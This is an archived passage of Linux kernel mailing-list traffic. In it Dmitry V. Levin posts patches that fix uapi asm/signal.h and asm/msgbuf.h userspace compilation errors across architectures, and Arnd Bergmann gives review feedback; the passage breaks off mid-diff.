        by eddie.linux-mips.org with ESMTP id S23991532AbdCAQU5ULhuz (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 1 Mar 2017 17:20:57 +0100
Original-Received: by mail-ot0-x241.google.com with SMTP id a12so2588471ota.2;
        Wed, 01 Mar 2017 08:20:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=J/sszfdzPEcWuilL0+phRX3xYbZMLodKzJ48kUz3dvY=;
        b=n5rrMZWzvnqUflt1XRJz8juFk6sea5pr5ZWi+JhrqtnZCsgEOtbBZceaOyB8XmB+6x
         H8IxuIUqpjc1nrj1wg6Syh/RTlaFIzT5gWxVNAuzviqvZyeoT/S/xTwBnLUai4hp+vr1
         O2kK+DPP65i5YnEsxFKuPcZvj3J9pSRKOBI16J83+qn1zFvh0yuZd/vCgkAbno46TaZl
         xp78VvcnZiAGRHyZmsZJgSvsT380lQTgjqwkm+vZS5RQycCfdGH/BEZ4i+NRP1qRqFC5
         CF4nB4gjJcF3coF4Mm71vO3IzBdCWXfKFLjGxV/JtneuzknZ4xOKm1bZvDjzYw9oN0Yo
         qMfQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=J/sszfdzPEcWuilL0+phRX3xYbZMLodKzJ48kUz3dvY=;
        b=NsIYyPLNma0KrKs/ft6J4uYPLUe/mPQXEWr9GbDFaQpZmpVp9BJ3m9+9ss+1q+HkQn
         XROVdVaHILCVHp2ncZR/f6WZXuR7MB15NnVrsZtw8bKpwJJtVCF2Q4rT+hXKcIV9L/H1
         jcPlyNMDNvlH9skTqdGPE0PJhpyImdGuwq35Q2n/shZvW6dwwfiyCLIRLSHXpe1aYMh1
         b9sgtZZlH4A3fxqLKmfqCfCR81dtKeeQDAejMC1MGzyFvd0MiNFxHJ0274WwgdPkmx8n
         3uXKyd8fIAMiT+iEqh93+cmiw9GdnTVPxyL6pqm5Z9+hnRSqM4ntp2Sqr8MyPLuG3/BM
         k5Kg==
X-Gm-Message-State: AMke39nUTNBTj/INi3+avaTmroKYvopkyq95UKh1M00zkms2+8Oybmlk8Yg8SmXAKq4QHBtwHEv8S25zKCtQyQ==
X-Received: by 10.157.37.203 with SMTP id q69mr4457164ota.255.1488385251414;
 Wed, 01 Mar 2017 08:20:51 -0800 (PST)
Original-Received: by 10.157.6.42 with HTTP; Wed, 1 Mar 2017 08:20:50 -0800 (PST)
In-Reply-To: <20170226010156.GA28831@altlinux.org>
X-Google-Sender-Auth: mQhZmx3s1HeDQmSgqeZm6KoZNKU
X-archive-position: 56948
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: arnd@arndb.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58111 gmane.linux.kernel.cross-arch:35278 gmane.linux.ports.alpha:4094 gmane.linux.ports.arm.kernel:561947 gmane.linux.ports.ia64:27661 gmane.linux.ports.parisc:27285 gmane.linux.ports.ppc64.devel:139097 gmane.linux.ports.sparc:24645 gmane.linux.kernel:2421264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58111>

On Sun, Feb 26, 2017 at 2:01 AM, Dmitry V. Levin <ldv@altlinux.org> wrote:
> Include <stddef.h> (guarded by #ifndef __KERNEL__) to fix asm/signal.h
> userspace compilation errors like this:
>
> /usr/include/asm/signal.h:126:2: error: unknown type name 'size_t'
>   size_t ss_size;
>
> As no uapi header provides a definition of size_t, inclusion
> of <stddef.h> seems to be the most conservative fix available.
>
> On the kernel side size_t is typedef'ed to __kernel_size_t, so
> an alternative fix would be to change the type of sigaltstack.ss_size
> from size_t to __kernel_size_t for all architectures except those where
> sizeof(size_t) < sizeof(__kernel_size_t), namely, x32 and mips n32.
>
> On x32 and mips n32, however, #include <stddef.h> seems to be the most
> straightforward way to obtain the definition for sigaltstack.ss_size's
> type.
>
> Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>

I'm not sure if this is the best fix. We generally should not include one
standard header from another standard header. Would it be possible
to use __kernel_size_t instead of size_t?

     Arnd



From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH v2] uapi: fix asm/signal.h userspace compilation errors
Date: Thu, 2 Mar 2017 03:20:22 +0300
Lines: 242
Approved: news@gmane.org
Message-ID: <20170302002022.GB27097@altlinux.org>
References: <20170226010156.GA28831@altlinux.org> <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488414030 2564 195.159.176.226 (2 Mar 2017 00:20:30 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Mar 2017 00:20:30 +0000 (UTC)
Cc: Russell King <linux@armlinux.org.uk>,
        Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Mikael Starvik <starvik@axis.com>,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-m68k-owner@vger.kernel.org Thu Mar 02 01:20:22 2017
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1cjETj-0004tY-FH
	for glpm-linux-m68k@m.gmane.org; Thu, 02 Mar 2017 01:20:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753768AbdCBAU0 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
        Wed, 1 Mar 2017 19:20:26 -0500
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:53178 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753581AbdCBAUZ (ORCPT
        <rfc822;linux-m68k@lists.linux-m68k.org>);
        Wed, 1 Mar 2017 19:20:25 -0500
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
        by vmicros1.altlinux.org (Postfix) with ESMTP id E95BA72EF79;
        Thu,  2 Mar 2017 03:20:22 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
        id D82B27CCE22; Thu,  2 Mar 2017 03:20:22 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <CAK8P3a0YX3RGAqWN0mwUJtBsqUX0C+QRtJLrT_UA=wX6Z+q0DA@mail.gmail.com>
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:9233 gmane.linux.kernel.cross-arch:35294 gmane.linux.ports.alpha:4095 gmane.linux.ports.arm.kernel:562049 gmane.linux.ports.ia64:27662 gmane.linux.ports.mips.general:58117 gmane.linux.ports.parisc:27286 gmane.linux.ports.ppc64.devel:139107 gmane.linux.ports.sparc:24652 gmane.linux.kernel:2421546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/9233>

Replace size_t with __kernel_size_t to fix asm/signal.h userspace
compilation errors like this:

/usr/include/asm-generic/signal.h:116:2: error: unknown type name 'size_t'
  size_t ss_size;

This change is not applicable to x86 port because x32 is the only
architecture where sizeof(size_t) < sizeof(__kernel_size_t).

Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
---
v2: create a separate patch for x86,
    replace size_t with __kernel_size_t instead of including <stddef.h>.

 include/uapi/asm-generic/signal.h      | 2 +-
 arch/alpha/include/uapi/asm/signal.h   | 2 +-
 arch/arm/include/uapi/asm/signal.h     | 2 +-
 arch/avr32/include/uapi/asm/signal.h   | 2 +-
 arch/cris/include/uapi/asm/signal.h    | 2 +-
 arch/h8300/include/uapi/asm/signal.h   | 2 +-
 arch/ia64/include/uapi/asm/signal.h    | 2 +-
 arch/m32r/include/uapi/asm/signal.h    | 2 +-
 arch/m68k/include/uapi/asm/signal.h    | 2 +-
 arch/mips/include/uapi/asm/signal.h    | 2 +-
 arch/mn10300/include/uapi/asm/signal.h | 2 +-
 arch/parisc/include/uapi/asm/signal.h  | 2 +-
 arch/powerpc/include/uapi/asm/signal.h | 2 +-
 arch/s390/include/uapi/asm/signal.h    | 2 +-
 arch/sparc/include/uapi/asm/signal.h   | 2 +-
 arch/xtensa/include/uapi/asm/signal.h  | 2 +-
 16 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/include/uapi/asm-generic/signal.h b/include/uapi/asm-generic/signal.h
index 3094618..6bbcdfa 100644
--- a/include/uapi/asm-generic/signal.h
+++ b/include/uapi/asm-generic/signal.h
@@ -113,7 +113,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 #endif /* __ASSEMBLY__ */
diff --git a/arch/alpha/include/uapi/asm/signal.h b/arch/alpha/include/uapi/asm/signal.h
index dd4ca4bc..16a2217 100644
--- a/arch/alpha/include/uapi/asm/signal.h
+++ b/arch/alpha/include/uapi/asm/signal.h
@@ -113,7 +113,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 /* sigstack(2) is deprecated, and will be withdrawn in a future version
diff --git a/arch/arm/include/uapi/asm/signal.h b/arch/arm/include/uapi/asm/signal.h
index 33073bd..859f2de 100644
--- a/arch/arm/include/uapi/asm/signal.h
+++ b/arch/arm/include/uapi/asm/signal.h
@@ -113,7 +113,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 
diff --git a/arch/avr32/include/uapi/asm/signal.h b/arch/avr32/include/uapi/asm/signal.h
index ffe8c77..46af348 100644
--- a/arch/avr32/include/uapi/asm/signal.h
+++ b/arch/avr32/include/uapi/asm/signal.h
@@ -115,7 +115,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 #endif /* _UAPI__ASM_AVR32_SIGNAL_H */
diff --git a/arch/cris/include/uapi/asm/signal.h b/arch/cris/include/uapi/asm/signal.h
index ce42fa7..02149d2 100644
--- a/arch/cris/include/uapi/asm/signal.h
+++ b/arch/cris/include/uapi/asm/signal.h
@@ -109,7 +109,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 
diff --git a/arch/h8300/include/uapi/asm/signal.h b/arch/h8300/include/uapi/asm/signal.h
index af3a6c3..0b1825d 100644
--- a/arch/h8300/include/uapi/asm/signal.h
+++ b/arch/h8300/include/uapi/asm/signal.h
@@ -108,7 +108,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 
diff --git a/arch/ia64/include/uapi/asm/signal.h b/arch/ia64/include/uapi/asm/signal.h
index c0ea285..04604da 100644
--- a/arch/ia64/include/uapi/asm/signal.h
+++ b/arch/ia64/include/uapi/asm/signal.h
@@ -113,7 +113,7 @@ struct siginfo;
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 
diff --git a/arch/m32r/include/uapi/asm/signal.h b/arch/m32r/include/uapi/asm/signal.h
index 54acacb..a7f5c0b 100644
--- a/arch/m32r/include/uapi/asm/signal.h
+++ b/arch/m32r/include/uapi/asm/signal.h
@@ -110,7 +110,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 
diff --git a/arch/m68k/include/uapi/asm/signal.h b/arch/m68k/include/uapi/asm/signal.h
index cba6f85..387fddc 100644
--- a/arch/m68k/include/uapi/asm/signal.h
+++ b/arch/m68k/include/uapi/asm/signal.h
@@ -106,7 +106,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 #endif /* _UAPI_M68K_SIGNAL_H */
diff --git a/arch/mips/include/uapi/asm/signal.h b/arch/mips/include/uapi/asm/signal.h
index addb9f5..6ec6885 100644
--- a/arch/mips/include/uapi/asm/signal.h
+++ b/arch/mips/include/uapi/asm/signal.h
@@ -111,7 +111,7 @@ struct sigaction {
 /* IRIX compatible stack_t  */
 typedef struct sigaltstack {
 	void __user *ss_sp;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 	int ss_flags;
 } stack_t;
 
diff --git a/arch/mn10300/include/uapi/asm/signal.h b/arch/mn10300/include/uapi/asm/signal.h
index f423a08..c17d363 100644
--- a/arch/mn10300/include/uapi/asm/signal.h
+++ b/arch/mn10300/include/uapi/asm/signal.h
@@ -118,7 +118,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user	*ss_sp;
 	int		ss_flags;
-	size_t		ss_size;
+	__kernel_size_t		ss_size;
 } stack_t;
 
 
diff --git a/arch/parisc/include/uapi/asm/signal.h b/arch/parisc/include/uapi/asm/signal.h
index e26043b..403e2d8 100644
--- a/arch/parisc/include/uapi/asm/signal.h
+++ b/arch/parisc/include/uapi/asm/signal.h
@@ -99,7 +99,7 @@ typedef __signalfn_t __user *__sighandler_t;
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 #endif /* !__ASSEMBLY */
diff --git a/arch/powerpc/include/uapi/asm/signal.h b/arch/powerpc/include/uapi/asm/signal.h
index 6c69ee9..c1c2a0b 100644
--- a/arch/powerpc/include/uapi/asm/signal.h
+++ b/arch/powerpc/include/uapi/asm/signal.h
@@ -109,7 +109,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void __user *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 
diff --git a/arch/s390/include/uapi/asm/signal.h b/arch/s390/include/uapi/asm/signal.h
index 2f43cfb..b8c2db6 100644
--- a/arch/s390/include/uapi/asm/signal.h
+++ b/arch/s390/include/uapi/asm/signal.h
@@ -122,7 +122,7 @@ struct sigaction {
 typedef struct sigaltstack {
         void __user *ss_sp;
         int ss_flags;
-        size_t ss_size;
+        __kernel_size_t ss_size;
 } stack_t;
 
 
diff --git a/arch/sparc/include/uapi/asm/signal.h b/arch/sparc/include/uapi/asm/signal.h
index f387400..cd6c036 100644
--- a/arch/sparc/include/uapi/asm/signal.h
+++ b/arch/sparc/include/uapi/asm/signal.h
@@ -172,7 +172,7 @@ struct __old_sigaction {
 typedef struct sigaltstack {
 	void			__user *ss_sp;
 	int			ss_flags;
-	size_t			ss_size;
+	__kernel_size_t			ss_size;
 } stack_t;
 
 
diff --git a/arch/xtensa/include/uapi/asm/signal.h b/arch/xtensa/include/uapi/asm/signal.h
index 586756e..d835627 100644
--- a/arch/xtensa/include/uapi/asm/signal.h
+++ b/arch/xtensa/include/uapi/asm/signal.h
@@ -126,7 +126,7 @@ struct sigaction {
 typedef struct sigaltstack {
 	void *ss_sp;
 	int ss_flags;
-	size_t ss_size;
+	__kernel_size_t ss_size;
 } stack_t;
 
 #endif	/* __ASSEMBLY__ */
-- 
ldv

From - Thu Nov 08 21:39:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "Dmitry V. Levin" <ldv@altlinux.org>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel
Subject: [PATCH 1/3] uapi: fix asm/msgbuf.h userspace compilation errors
Date: Thu, 2 Mar 2017 03:22:03 +0300
Lines: 213
Approved: news@gmane.org
Message-ID: <20170302002202.GA27132@altlinux.org>
References: <CAK8P3a3Ptm68i43BT5+kWptDw1koPwexpuFwH3-1naj_xi+arQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1488414159 14096 195.159.176.226 (2 Mar 2017 00:22:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Mar 2017 00:22:39 +0000 (UTC)
Cc: Haavard Skinnemoen <hskinnemoen@gmail.com>,
        Hans-Christian Egtvedt <egtvedt@samfundet.no>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Ralf Baechle <ralf@linux-mips.org>,
        David Howells <dhowells@redhat.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        "David S. Miller" <davem@davemloft.net>,
        Chris Zankel <chris@zankel.net>,
        Max Filippov <jcmvbkbc@gmail.com>, linux-arch@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-mips@linux-mips.org, linux-am33-list
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-mips-bounce@linux-mips.org Thu Mar 02 01:22:32 2017
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from mxfilter-048035.atla03.us.yomura.com ([107.189.48.35])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1cjEVo-0002oq-I4
	for sgi-linux-mips@gmane.org; Thu, 02 Mar 2017 01:22:28 +0100
X-Yomura-MXScrub: 1.0
Original-Received: from cvs.linux-mips.org (unknown [148.251.95.138])
	by mxfilter-048035.atla03.us.yomura.com (Halon) with ESMTP
	id 53835a91-fede-11e6-b156-b499baabecb2;
	Thu, 02 Mar 2017 00:22:32 +0000 (UTC)
Original-Received: from localhost.localdomain ([127.0.0.1]:35204 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S23993637AbdCBAW3gn-L3 (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Thu, 2 Mar 2017 01:22:29 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Thu, 02 Mar 2017 01:22:15 +0100 (CET)
Original-Received: from vmicros1.altlinux.org ([194.107.17.57]:55040 "EHLO
        vmicros1.altlinux.org" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S23992289AbdCBAWIkJPV3 (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Thu, 2 Mar 2017 01:22:08 +0100
Original-Received: from mua.local.altlinux.org (mua.local.altlinux.org [192.168.1.14])
        by vmicros1.altlinux.org (Postfix) with ESMTP id 3830172EF79;
        Thu,  2 Mar 2017 03:22:03 +0300 (MSK)
Original-Received: by mua.local.altlinux.org (Postfix, from userid 508)
        id 2D28B7CCE22; Thu,  2 Mar 2017 03:22:03 +0300 (MSK)
Content-Disposition: inline
In-Reply-To: <CAK8P3a3Ptm68i43BT5+kWptDw1koPwexpuFwH3-1naj_xi+arQ@mail.gmail.com>
X-archive-position: 56955
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ldv@altlinux.org
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:58118 gmane.linux.kernel.cross-arch:35298 gmane.linux.ports.alpha:4096 gmane.linux.ports.ia64:27663 gmane.linux.ports.parisc:27287 gmane.linux.ports.ppc64.devel:139108 gmane.linux.ports.sparc:24653 gmane.linux.kernel:2421551
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/58118>

Include <asm/ipcbuf.h> to fix asm/msgbuf.h userspace compilation errors
like this:

/usr/include/asm-generic/msgbuf.h:25:20: error: field 'msg_perm' has incomplete type
  struct ipc64_perm msg_perm;
/usr/include/asm-generic/msgbuf.h:26:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t msg_stime; /* last msgsnd time */
/usr/include/asm-generic/msgbuf.h:30:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t msg_rtime; /* last msgrcv time */
/usr/include/asm-generic/msgbuf.h:34:2: error: unknown type name '__kernel_time_t'
  __kernel_time_t msg_ctime; /* last change time */
/usr/include/asm-generic/msgbuf.h:38:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t msg_cbytes; /* current number of bytes on queue */
/usr/include/asm-generic/msgbuf.h:39:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t msg_qnum; /* number of messages in queue */
/usr/include/asm-generic/msgbuf.h:40:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t msg_qbytes; /* max number of bytes on queue */
/usr/include/asm-generic/msgbuf.h:41:2: error: unknown type name '__kernel_pid_t'
  __kernel_pid_t msg_lspid; /* pid of last msgsnd */
/usr/include/asm-generic/msgbuf.h:42:2: error: unknown type name '__kernel_pid_t'
  __kernel_pid_t msg_lrpid; /* last receive pid */
/usr/include/asm-generic/msgbuf.h:43:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused4;
/usr/include/asm-generic/msgbuf.h:44:2: error: unknown type name '__kernel_ulong_t'
  __kernel_ulong_t __unused5;

Signed-off-by: Dmitry V. Levin <ldv@altlinux.org>
---
 include/uapi/asm-generic/msgbuf.h      | 1 +
 arch/alpha/include/uapi/asm/msgbuf.h   | 2 ++
 arch/avr32/include/uapi/asm/msgbuf.h   | 2 ++
 arch/frv/include/uapi/asm/msgbuf.h     | 2 ++
 arch/ia64/include/uapi/asm/msgbuf.h    | 2 ++
 arch/m32r/include/uapi/asm/msgbuf.h    | 2 ++
 arch/mips/include/uapi/asm/msgbuf.h    | 1 +
 arch/mn10300/include/uapi/asm/msgbuf.h | 2 ++
 arch/parisc/include/uapi/asm/msgbuf.h  | 1 +
 arch/powerpc/include/uapi/asm/msgbuf.h | 2 ++
 arch/s390/include/uapi/asm/msgbuf.h    | 2 ++
 arch/sparc/include/uapi/asm/msgbuf.h   | 2 ++
 arch/xtensa/include/uapi/asm/msgbuf.h  | 2 ++
 13 files changed, 23 insertions(+)

diff --git a/include/uapi/asm-generic/msgbuf.h b/include/uapi/asm-generic/msgbuf.h
index f55ecc4..f3c3b43 100644
--- a/include/uapi/asm-generic/msgbuf.h
+++ b/include/uapi/asm-generic/msgbuf.h
@@ -1,6 +1,7 @@
 #ifndef __ASM_GENERIC_MSGBUF_H
 #define __ASM_GENERIC_MSGBUF_H
 
+#include <asm/ipcbuf.h>
 #include <asm/bitsperlong.h>
 /*
  * generic msqid64_ds structure.
diff --git a/arch/alpha/include/uapi/asm/msgbuf.h b/arch/alpha/include/uapi/asm/msgbuf.h
index 9849650..8de899a 100644
--- a/arch/alpha/include/uapi/asm/msgbuf.h
+++ b/arch/alpha/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ALPHA_MSGBUF_H
 #define _ALPHA_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /* 
  * The msqid64_ds structure for alpha architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/avr32/include/uapi/asm/msgbuf.h b/arch/avr32/include/uapi/asm/msgbuf.h
index 9eae6ef..45cdffb 100644
--- a/arch/avr32/include/uapi/asm/msgbuf.h
+++ b/arch/avr32/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _UAPI__ASM_AVR32_MSGBUF_H
 #define _UAPI__ASM_AVR32_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The msqid64_ds structure for i386 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/frv/include/uapi/asm/msgbuf.h b/arch/frv/include/uapi/asm/msgbuf.h
index 97ceb55..92d6656 100644
--- a/arch/frv/include/uapi/asm/msgbuf.h
+++ b/arch/frv/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_MSGBUF_H
 #define _ASM_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The msqid64_ds structure for FR-V architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/ia64/include/uapi/asm/msgbuf.h b/arch/ia64/include/uapi/asm/msgbuf.h
index 6c64c0d..9a31b60 100644
--- a/arch/ia64/include/uapi/asm/msgbuf.h
+++ b/arch/ia64/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_IA64_MSGBUF_H
 #define _ASM_IA64_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The msqid64_ds structure for IA-64 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/m32r/include/uapi/asm/msgbuf.h b/arch/m32r/include/uapi/asm/msgbuf.h
index 0d5a877..4786c0c 100644
--- a/arch/m32r/include/uapi/asm/msgbuf.h
+++ b/arch/m32r/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_M32R_MSGBUF_H
 #define _ASM_M32R_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The msqid64_ds structure for m32r architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/mips/include/uapi/asm/msgbuf.h b/arch/mips/include/uapi/asm/msgbuf.h
index df849e8..c84a388 100644
--- a/arch/mips/include/uapi/asm/msgbuf.h
+++ b/arch/mips/include/uapi/asm/msgbuf.h
@@ -1,6 +1,7 @@
 #ifndef _ASM_MSGBUF_H
 #define _ASM_MSGBUF_H
 
+#include <asm/ipcbuf.h>
 
 /*
  * The msqid64_ds structure for the MIPS architecture.
diff --git a/arch/mn10300/include/uapi/asm/msgbuf.h b/arch/mn10300/include/uapi/asm/msgbuf.h
index 8b60245..f1c5dd5 100644
--- a/arch/mn10300/include/uapi/asm/msgbuf.h
+++ b/arch/mn10300/include/uapi/asm/msgbuf.h
@@ -1,6 +1,8 @@
 #ifndef _ASM_MSGBUF_H
 #define _ASM_MSGBUF_H
 
+#include <asm/ipcbuf.h>
+
 /*
  * The msqid64_ds structure for MN10300 architecture.
  * Note extra padding because this structure is passed back and forth
diff --git a/arch/parisc/include/uapi/asm/msgbuf.h b/arch/parisc/include/uapi/asm/msgbuf.h
